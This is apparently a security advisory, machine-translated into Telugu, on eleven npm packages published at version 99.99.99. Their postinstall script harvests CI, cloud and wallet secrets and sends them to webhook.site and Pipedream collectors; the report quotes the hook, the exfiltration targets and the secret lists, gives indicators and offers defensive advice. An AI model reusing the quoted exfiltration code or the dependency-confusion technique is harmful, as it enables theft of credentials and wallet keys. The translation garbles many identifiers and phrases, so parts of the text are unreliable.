TL; DR
2026-06-17న, ఒకే npm ఖాతా ప్రచురించబడింది ఒకే ప్రయోజనం మరియు ఒకే పేలోడ్ను పంచుకునే పదకొండు ప్యాకేజీలువారిలో పది మంది మోసుకెళ్తున్నారు cryptodao- ఉపసర్గ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); పదకొండవది పరిధిలో ఉంది @public-for-cdao/coreప్రతి ఒక్కటి వెర్షన్లో ప్రచురించబడింది 99.99.99 మరియు బైట్-సమానమైనదాన్ని పంపుతుంది recon.js అది నడుస్తుంది postinstall.
ఆ పేర్లే అసలు విషయం చెబుతాయి. అవి ఒక క్రిప్టో/DAO ప్రాజెక్ట్ యొక్క ప్రైవేట్ టూల్చెయిన్లోని అంతర్గత నిర్మాణ భాగాల వలె ఉంటాయి. కృత్రిమంగా అధిక వెర్షన్లో పబ్లిక్ npm రిజిస్ట్రీలో ప్రచురించబడి, అవి ఒక బిల్డ్ కోసం వేచి ఉంటాయి. pipeline అది ఆ పేర్లను పరిష్కరించడానికి కాన్ఫిగర్ చేయబడింది మరియు అది ప్రైవేట్ రిజిస్ట్రీకి ముందు — లేదా బదులుగా — పబ్లిక్ npmను చేరుకుంటుంది. ఇది ఆధారపడటం గందరగోళంమరియు, ఆ పేలోడ్ అది దిగాలని ఆశించే ప్రదేశానికి అనుగుణంగా ఖచ్చితంగా ట్యూన్ చేయబడింది: CI/CD రన్నర్స్.
ఎప్పుడు postinstall మంటలు, recon.js హోస్ట్ వివరాలను సేకరిస్తుంది, సుమారుగా శోధిస్తుంది నలభై క్లౌడ్, CI మరియు క్రిప్టో-వాలెట్ ఎన్విరాన్మెంట్ వేరియబుల్స్ఏదైనా చదువుతుంది .env అది కనుగొనగలిగే ఫైళ్ళను మరియు రహస్యం ఉన్న పంక్తులను యథాతథంగా ఫార్వార్డ్ చేస్తుంది, ఆపై ఆ బండిల్ను ఇద్దరు కలెక్టర్లకు పంపుతుంది — webhook.site మరియు TLS సర్టిఫికేట్ ధృవీకరణ నిలిపివేయబడిన ఒక పైప్డ్రీమ్ ఎండ్పాయింట్. ఒక కాపీ కూడా కింద వ్రాయబడింది. /tmp.
తీవ్రత: అధికప్రభావిత పర్యావరణ వ్యవస్థ: npmఈ వార్త రాసే సమయానికి పదకొండు ప్యాకేజీలూ అందుబాటులో ఉన్నాయి.
దాడి శరీర నిర్మాణ శాస్త్రం
ఈ యంత్రాంగంలో నాలుగు కదిలే భాగాలు ఉన్నాయి, మరియు వాటిని ఎలా ఉపయోగించాలో తెలిసిన తర్వాత ఏదీ అంత సూక్ష్మంగా అనిపించదు. ప్యాకేజీ పేరును దాటి ఒక అడుగు ముందుకు చూడండి.
1. రిసాల్వర్ ఎరగా వెర్షన్ ద్రవ్యోల్బణం. ప్రతి ప్యాకేజీ వెర్షన్ను ప్రకటిస్తుంది 99.99.99ప్యాకేజీ మేనేజర్ అడిగినప్పుడు డిపెండెన్సీ కన్ఫ్యూజన్ పనిచేస్తుంది అంతర్గత పేరు, అలాగే పబ్లిక్ రిజిస్ట్రీని తనిఖీ చేసి, అందులోని అత్యధిక వెర్షన్ను ఎంచుకుంటుంది కనుగొంటుంది. క్యారెట్ లేదా వైల్డ్కార్డ్ శ్రేణి కోసం npm యొక్క డిఫాల్ట్ ఎంపిక కాన్ఫిగర్ చేయబడిన ప్రతి సోర్స్లో అత్యంత సంతృప్తికరమైన వెర్షన్; ఒకవేళ రెండూ ప్రైవేట్ అయితే రిజిస్ట్రీ మరియు పబ్లిక్ npm రెండూ ఒకే పేరుకు సమాధానం ఇచ్చినప్పుడు, పెద్ద వెర్షన్ నంబరే గెలుస్తుంది. A 99.99.99 ప్రాజెక్ట్లో ఉండే దాదాపు ఏ నిజమైన అంతర్గత వెర్షన్ కన్నా ఇది ఉన్నతమైనది చేరుకుంది, కాబట్టి ప్రైవేట్ సోర్స్కు పిన్ చేయబడని రిజాల్వర్ ప్రాధాన్యత ఇస్తుంది బహిరంగ — మరియు ఈ సందర్భంలో, విరోధపూరితమైన — ప్రతి. ఆపరేటర్కు తెలుసుకోవలసిన అవసరం లేదు టార్గెట్ యొక్క నిజమైన వెర్షన్ నంబర్లు; అసంబద్ధమైన గరిష్టాన్ని ఎంచుకోవడం ఎల్లప్పుడూ టైకి హామీ ఇస్తుంది వారి మార్గాన్ని విచ్ఛిన్నం చేస్తుంది.
2. పోస్ట్-ఇన్స్టాల్ ట్రిగ్గర్. ప్యాకేజీ.జాసన్ పేలోడ్ను ఇన్స్టాల్కు వైర్ చేస్తుంది జీవితచక్రం:
{ "scripts": { "postinstall": "node recon.js" } } ప్యాకేజీని ఇంపోర్ట్ చేయవలసిన అవసరం లేదు. కేవలం దానిని ఇన్స్టాల్ చేస్తే చాలు — ఒక CI pipeline స్వయంచాలకంగా చేస్తుంది — నడుస్తుంది రీకాన్.జెఎస్.
3. విస్తృతమైన రహస్య తనిఖీ. రీకాన్.జెఎస్ ఫలితాల శ్రేణిని దశలవారీగా సమీకరిస్తుంది:
- హోస్ట్ సందర్భం: హోస్ట్ పేరు, ప్లాట్ఫారమ్ మరియు విడుదల, ఆర్కిటెక్చర్, వినియోగదారు పేరు, పని చేస్తోంది డైరెక్టరీ.
- పర్యావరణ వేరియబుల్స్: ఇది సుమారు నలభై పేర్లు మరియు రికార్డుల స్థిర జాబితాను పునరావృతం చేస్తుంది సెట్ చేయబడినవి ఏవైనా. ఈ జాబితా చాలా విషయాలను వెల్లడిస్తుంది — ఇది సాధారణ CI టోకెన్లను జత చేస్తుంది (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, గిట్ల్యాబ్_యాక్సెస్_టోకెన్) మరియు క్లౌడ్ ఆధారాలు (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) రిజిస్ట్రీ మరియు కంటైనర్ సీక్రెట్లతో (NPM_TOKEN, డాకర్_పాస్వర్డ్, హార్బర్_పాస్వర్డ్మరియు విలక్షణమైన క్రిప్టో-శైలి క్లస్టర్: ప్రైవేట్_కీ, జ్ఞాపకశక్తి, సీడ్_ఫ్రేజ్, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCరికార్డ్ చేయబడిన విలువలు మొదటి 50 అక్షరాలకు కుదించబడతాయి.
- .env ఫైల్స్: ఇది మార్గాల జాబితాను శోధిస్తుంది — .env, ../.env, /యాప్/.env, /app/backend/.env, /యాప్/బాట్/.env, /హోమ్/గిట్ల్యాబ్-రన్నర్/.env, /రూట్/.env, ఇంకా .ఉత్పత్తి/.అభివృద్ధి వేరియంట్లు — మరియు ఉన్న ఏ ఫైల్ కోసమైనా, అది సరిపోలే పంక్తులకు కంటెంట్ను ఫిల్టర్ చేస్తుంది కీ|రహస్యం|టోకెన్|పాస్|ప్రైవేట్|జ్ఞాపక చిహ్నం మరియు ఆ పంక్తులను **పూర్తిగా, కుదించకుండా** ఫలితాల్లోకి పంపుతుంది.
- బిల్డ్-హోస్ట్ కాంటెక్స్ట్: ఇది మొదటి 20 ఎంట్రీలను జాబితా చేస్తుంది /నిర్మాణాలు/, /హోమ్/గిట్ల్యాబ్-రన్నర్/బిల్డ్లు/, /var/lib/gitlab-runner/మరియు / Tmp /.
పాత్ జాబితా మరియు వేరియబుల్ జాబితా గిట్ల్యాబ్ రన్నర్లకు అనుకూలంగా ఉంటాయి, ఇది సూచిస్తుంది ఈ సమస్య డెవలపర్కు కాకుండా, నేరుగా సెల్ఫ్-హోస్టెడ్ CI ఇన్ఫ్రాస్ట్రక్చర్కు సంబంధించినది. ల్యాప్టాప్. పంట జాబితాను వర్గాల వారీగా సమూహపరచడం వలన ఉద్దేశించిన దిగుబడి స్పష్టమవుతుంది:
| వర్గం | చేరుకున్న వేరియబుల్స్ / మార్గాలు |
|---|---|
| CI/CD గుర్తింపు & విస్తరణ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| క్లౌడ్ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| రిజిస్ట్రీ & కంటైనర్ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| డేటా స్టోర్లు | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| క్రిప్టో / బ్లాక్చెయిన్ | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| మెసేజింగ్ | SLACK_TOKEN, DISCORD_TOKEN |
| డిస్క్లో | .env కుటుంబం + /home/gitlab-runner/.env, /root/.env, /app/**/.envడైరెక్టరీ జాబితాలు /builds/, /var/lib/gitlab-runner/ |
క్రిప్టో క్లస్టర్ అనేది దీనిని ఒక సాధారణ CI-సీక్రెట్ నుండి వేరుచేసే భాగం. స్వీప్: వాలెట్ సీడ్ పదబంధాలు మరియు సంతకం కీలు ఒక వాతావరణంలో మాత్రమే కనిపిస్తాయి బ్లాక్చెయిన్ ప్రాజెక్ట్, మరియు అవి నేరుగా మ్యాప్ చేయబడతాయి క్రిప్టోడావో-/సైన్/ఒప్పందాలు వాహకాల నామకరణం.
4. ధృవీకరణ నిలిపివేయబడిన ద్వంద్వ బహిష్కరణ. సేకరించిన శ్రేణి సీరియలైజ్ చేసి రెండు గమ్యస్థానాలకు POST చేయబడింది:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) అనధికారిక తిరస్కరణ: తప్పు అవుట్బౌండ్ కోసం TLS సర్టిఫికేట్ తనిఖీలను నిలిపివేస్తుంది కాల్స్. అదే డేటా stdout కు ప్రింట్ చేయబడుతుంది (కాబట్టి ఇది CI జాబ్ లాగ్లలో కూడా చేరుతుంది) మరియు వ్రాయబడింది /tmp/.npm_recon_ .jsonతప్పులు మౌనంగా మింగేయబడతాయి, కాబట్టి పంపడం విఫలమైతే, ఇన్స్టాల్ అవుట్పుట్లో ఒకే ఒక్క దానిని మినహా మరే జాడ మిగలదు. [పునఃపరిశీలన] ఇన్స్టాల్ చేయబడింది లైన్.
ఫైల్లోని ఒక ప్రధాన వ్యాఖ్య దానిని “డిపెండెన్సీ కన్ఫ్యూజన్”గా వర్ణిస్తుంది. నిఘా పేలోడ్.” పర్యావరణ విలువలను 50 అక్షరాలకు కుదించడం ఒక ప్రూఫ్ ఆఫ్ కాన్సెప్ట్ యొక్క ఆకారం. దానిని కేవలం ఉనికిని సూచించే బీకన్ స్థాయిని దాటి ముందుకు తీసుకువెళ్లేది ఏమిటంటే .env నిర్వహణ: రహస్య సమాచారం ఉన్న లైన్లు పూర్తిగా ఫార్వార్డ్ చేయబడతాయి మరియు గమ్యస్థానాలు కేవలం లెక్కించబడే ఒక సింక్ కాకుండా, దాడి చేసేవారి నియంత్రణలో పనిచేసే రెండు కలెక్టర్లు ఉన్నాయి హిట్స్.
కాలక్రమం
పబ్లిష్ ప్యాటర్న్ అనేది ఒకే స్క్రిప్టెడ్ పుష్ యొక్క సిగ్నేచర్, పదకొండు కాదు. స్వతంత్ర అప్లోడ్లు.
| సమయం (UTC, 2026-06-17) | ఈవెంట్ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 ప్రచురించిన |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — పరిమిత వేరియంట్, సుమారు 24 నిమిషాల తర్వాత |
29 సెకన్ల వ్యవధిలో పది ప్యాకేజీలు బయటకు వెళ్లాయి, అంటే సుమారుగా ప్రతి మూడు సెకన్లకు ఒకటి. పరిధిలో @public-for-cdao/core సుమారు 24 నిమిషాల తర్వాత — ఒక రెండవది వినియోగించే ప్రాజెక్ట్ సూచించిన సందర్భంలో, అదే లక్ష్యం కోసం నామకరణ సంప్రదాయం కేవలం పేర్లుగా కాకుండా, ఒక పరిధి కింద అంతర్గత టూల్చెయిన్.
రాజీ సూచికలు
| రకం | సూచిక |
|---|---|
| కలెక్టర్ | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| కలెక్టర్ | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| హుక్ను ఇన్స్టాల్ చేయండి | postinstall: node recon.js |
| ఫైల్ డ్రాప్ చేయబడింది | /tmp/.npm_recon_<timestamp>.json |
| లాగ్ మార్కర్ | [recon] <pkg>@<ver> installed on <hostname> (CI లాగ్లలో stdout) |
| బిహేవియరల్ | rejectUnauthorized: false ఇన్స్టాల్ సమయంలో అవుట్బౌండ్ HTTPS |
| పేలోడ్ | recon.jsపదకొండు ప్యాకేజీలలోనూ ఒకేలా ఉంటుంది (ఒకే ఉమ్మడి బిల్డ్) |
| వెర్షన్ | 99.99.99 ప్రతి ప్యాకేజీపై |
| ప్యాకేజీలు | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (అన్ని 99.99.99) |
| <span style="font-family: Mandali; "> ప్రచురణ కర్త </span> | aduljune / aduljune@proton.me (ఈమెయిల్ ధృవీకరించబడలేదు, లింక్ చేయబడిన సోర్స్ రిపోజిటరీ లేదు) |
ఆపాదించడం మరియు గమనించిన ప్రవర్తన
క్లస్టర్కు సంబంధించిన ప్రతిదీ ఒకే విషయాన్ని సూచిస్తుంది. మొత్తం పదకొండు ప్యాకేజీలు ప్రచురించబడ్డాయి. npm ఖాతా ద్వారా అడుల్జూన్ (aduljune@proton.meధృవీకరించని చిరునామా లింక్ చేయబడిన సోర్స్ రిపోజిటరీ), 25 నిమిషాల వ్యవధిలో, అదే 99.99.99 సంస్కరణ: Telugu, షిప్పింగ్ రీకాన్.జెఎస్ దీనిలోని విషయాలు ప్రతి బైట్కు బైట్ ఒకేలా ఉంటాయి ప్యాకేజీ (వెలికితీసిన పదకొండు కాపీలన్నింటిలోనూ MD5 సరిపోలుతుంది). అది ఒక పేలోడ్ పేర్ల జాబితాలో చేర్చబడింది, స్వతంత్ర కోడ్ పునరుపయోగం కాదు.
పేరు జాబితా ఉద్దేశించిన లక్ష్యాన్ని నిర్వచిస్తుంది. క్రిప్టోడావో-* మరియు cdao వివరించండి ఒక క్రిప్టో/DAO ప్రాజెక్ట్ యొక్క ప్రైవేట్ మాడ్యూల్ లేఅవుట్, మరియు పేలోడ్ యొక్క హార్వెస్ట్ జాబితా ఆ అంచనాను ప్రతిబింబిస్తుంది: సాధారణ CI మరియు క్లౌడ్ సీక్రెట్లతో పాటు, ఇది ప్రత్యేకంగా చేరుకుంటుంది ప్రైవేట్_కీ, జ్ఞాపకశక్తి, సీడ్_ఫ్రేజ్మరియు Ethereum/BSC RPC మరియు ప్రొవైడర్ కీలు. ది .env శోధన మార్గాలు మరియు డైరెక్టరీ జాబితాలు గిట్ల్యాబ్-రన్నర్ నిర్దిష్టమైనది. గమనించదగిన ప్రభావం ఏమిటంటే ఏదైనా pipeline వీటిని ఇన్స్టాల్ చేసేలా మోసగించబడ్డారు పేర్లు దాని CI టోకెన్లు, క్లౌడ్ కీలు మరియు ఆన్-డిస్క్ను ఫార్వార్డ్ చేస్తాయి .env రహస్యాలు — మరియు, కోసం ఒక బ్లాక్చెయిన్ ప్రాజెక్ట్, దాని వాలెట్ మెటీరియల్ను — ఇద్దరు మూడవ పక్ష సేకరణదారులకు.
ఈ ఖాతాను ఎవరు నిర్వహిస్తున్నారు లేదా దానితో వారు ఏమి చేయాలని ప్లాన్ చేశారనే దాని గురించి మేము ఎటువంటి హామీ ఇవ్వడం లేదు. డేటా. స్వతంత్రంగా నిలిచే వాస్తవాలు: పేర్లు ఒక నిర్దిష్ట రకాన్ని లక్ష్యంగా చేసుకుంటాయి అంతర్గత టూల్చెయిన్, పేలోడ్ నిజమైన రహస్య విలువలను చదివి ప్రసారం చేస్తుంది, మరియు మౌలిక సదుపాయాలు పనిచేస్తున్నాయి.
ప్రభావం, ధోరణులు మరియు రక్షక మార్గదర్శనం
ఆధారపడటం గందరగోళం ఇది రిజాల్వర్ ప్రవర్తనను ఉపయోగించుకోవడం వల్ల ప్రభావవంతంగా ఉంటుంది, అంతేగాని ఏ ప్యాకేజీలోనైనా బలహీనత ఉంటుంది. ఇక్కడ వాహకం చాలా చిన్నది — పదకొండు దాదాపు ఖాళీగా ఉన్నవి. ప్యాకేజీలు — కానీ విస్ఫోటన వ్యాసార్థం ఏమైనప్పటికీ pipeline పొరపాటున పబ్లిక్ npmని ఇష్టపడుతుంది అంతర్గత పేరు కోసం. అలా జరగడానికి CI రన్నర్లు అత్యంత అనువైన ప్రదేశం కాదు: అవి పట్టుకొని ఉంటాయి ఖచ్చితంగా టోకెన్లు మరియు .env ఈ పేలోడ్ చదివే ఫైళ్లు, మరియు అవి ఇన్స్టాల్ చేస్తాయి డిపెండెన్సీలు నాన్-ఇంటరాక్టివ్గా, కాబట్టి ఒక పోస్ట్ ఇన్స్టాల్ ఎవరూ చూడకుండా పరుగెత్తుతాడు.
ఈ క్లస్టర్ కూడా మనం పదేపదే చూస్తున్న ఒక నమూనాకు సరిపోతుంది: ఇన్స్టాల్ సమయంలో వచ్చే పేలోడ్లు నిజమైన ధృవీకరణ పత్రాల సేకరణ చేస్తున్నప్పుడు "పరిశోధన" లేదా "నిఘా"గా ఉపయోగించడం. ఫైల్లోనిది రన్నర్పై కోడ్ చేసే పనిని మార్చదు. రెండు డిజైన్ ఎంపికలు ఉంచుతాయి కార్యాచరణ నిశ్శబ్దం: ప్రతి నెట్వర్క్ మరియు ఫైల్సిస్టమ్ ఆపరేషన్ ఒక దానిలో చుట్టబడి ఉంటుంది లోపాలను, అంటే నిలిచిపోయిన పంపకం లేదా తప్పిపోయిన ఫైల్ వంటివాటిని తిరస్కరించే ఎక్సెప్షన్ హ్యాండ్లర్ ఎటువంటి డయాగ్నస్టిక్ అవుట్పుట్ను ఉత్పత్తి చేయదు మరియు ప్రింట్ చేయబడిన ఏకైక విషయం ఒకే ఒక హానిచేయనిది. [రీకాన్] … ఇన్స్టాల్ చేయబడింది సాధారణ ఇన్స్టాల్ సంభాషణలో కలిసిపోయే లైన్. ఉపయోగం వెబ్హుక్.సైట్ మరియు పైప్డ్రీమ్ కూడా ఉద్దేశపూర్వక సౌలభ్యమే — రెండూ ఉచితం, తక్షణమే అందించబడిన అభ్యర్థన-సేకరణ సేవలు, కాబట్టి ఆపరేటర్కు సర్వర్లు అవసరం లేదు ఎగ్రెస్ లాగ్లలో వారి స్వంత మరియు గమ్యస్థానాలు సాధారణ SaaS హోస్ట్ పేర్ల వలె కనిపిస్తాయి.
ఆర్థిక అంశాలే దీనిని ఒక డిఫెండర్ దృష్టి పెట్టేలా చేస్తాయి, అయినప్పటికీ క్యారియర్ కోడ్ చాలా తేలికైనది. పదకొండు పేర్లను నమోదు చేయడానికి ఏమీ ఖర్చు అవ్వదు, పేలోడ్ ఒక్కటే. ఫైల్ పదకొండు సార్లు కాపీ చేయబడింది, మరియు ప్యాకేజీ మేనేజర్ మొత్తం ఎగ్జిక్యూషన్ను చేస్తుంది. ఒకే ఒక్కటి తప్పుగా కాన్ఫిగర్ చేయబడింది pipeline ఈ పేర్లలో ఒకదాన్ని వినియోగించే ఏ ప్రదేశమైనా మొత్తం ఖర్చును చెల్లిస్తుంది. ఆపరేషన్.
రక్షకుల కోసం నిర్దిష్ట చర్యలు:
- మీ ప్రైవేట్ రిజిస్ట్రీకి అంతర్గత స్కోప్లను పిన్ చేయండి. npm so అంతర్గత పేర్లను కాన్ఫిగర్ చేయండి
మరియు స్కోప్లు మీ రిజిస్ట్రీకి వ్యతిరేకంగా మాత్రమే పరిష్కరించబడతాయి (స్కోప్డ్ .npmrc రిజిస్ట్రీ మ్యాపింగ్లు, లేదా సొంత నేమ్స్పేస్ల కోసం పబ్లిక్ npmకి ఎప్పటికీ చేరని ప్రాక్సీ). మీ పబ్లిక్ స్కోప్ పేర్లను రిజర్వ్ చేసుకోండి, తద్వారా వాటిని మరెవరూ రిజిస్టర్ చేసుకోలేరు.
- Commit –ignore-scripts తో ఫైళ్లను లాక్ చేసి ఇన్స్టాల్ చేయండి CIలో సాధ్యమైన చోట, లేదా నిజంగా ఇన్స్టాల్ స్క్రిప్ట్లు అవసరమయ్యే కొన్ని డిపెండెన్సీలను పరిశీలించండి. recon.js రన్ అవ్వదు, ఒకవేళ పోస్ట్ ఇన్స్టాల్ అమలు చేయబడలేదు.
- అంతర్గతంగా కనిపించే పేరు యొక్క 99.99.99 (లేదా ఇతర అసంబద్ధంగా అధిక) వెర్షన్ను పరిగణించండి హెచ్చరిక సంకేతంగా ఆధారపడటం సమీక్ష మరియు రిజిస్ట్రీ పర్యవేక్షణలో.
- ఇన్స్టాల్ సమయంలో జరిగే నిష్క్రమణపై హెచ్చరిక. A పోస్ట్ ఇన్స్టాల్ అది అవుట్బౌండ్ HTTPSను తెరుస్తుంది కనెక్షన్ — ముఖ్యంగా సర్టిఫికేట్ ధృవీకరణ నిలిపివేయబడినప్పుడు — webhook.site, Pipedream, లేదా ఇలాంటి రిక్వెస్ట్-క్యాప్చర్ సేవలను నెట్వర్క్ ఎడ్జ్ వద్ద బ్లాక్ చేయడం మరియు బిల్డ్ లాగ్లలో ఫ్లాగ్ చేయడం మంచిది.
- పురావస్తువుల కోసం వేట. రన్నర్లను తనిఖీ చేయండి /tmp/.npm_recon_*.json మరియు కోసం [recon] … ఇటీవలి CI లాగ్లలో … మార్కర్పై ఇన్స్టాల్ చేయబడింది. కనుగొనబడితే, ప్రతిదాన్ని రొటేట్ చేయండి. దానికి బహిర్గతమైన ఆధారపత్రం pipeline — ఎన్విరాన్మెంట్ లేదా .env ఫైల్స్లో ఉన్న CI టోకెన్లు, క్లౌడ్ కీలు, రిజిస్ట్రీ టోకెన్లు, మరియు ఏవైనా వాలెట్ సీడ్లు లేదా ప్రైవేట్ కీలు.
ప్రస్తావనలు
ఈ క్లస్టర్పై ఈ రచన సమయంలో ఎటువంటి బాహ్య నివేదిక అందుబాటులో లేదు; విశ్లేషణ పైన పేర్కొన్నది నేరుగా ప్రచురించబడిన ప్యాకేజీలోని అంశాలపై ఆధారపడి ఉంటుంది.




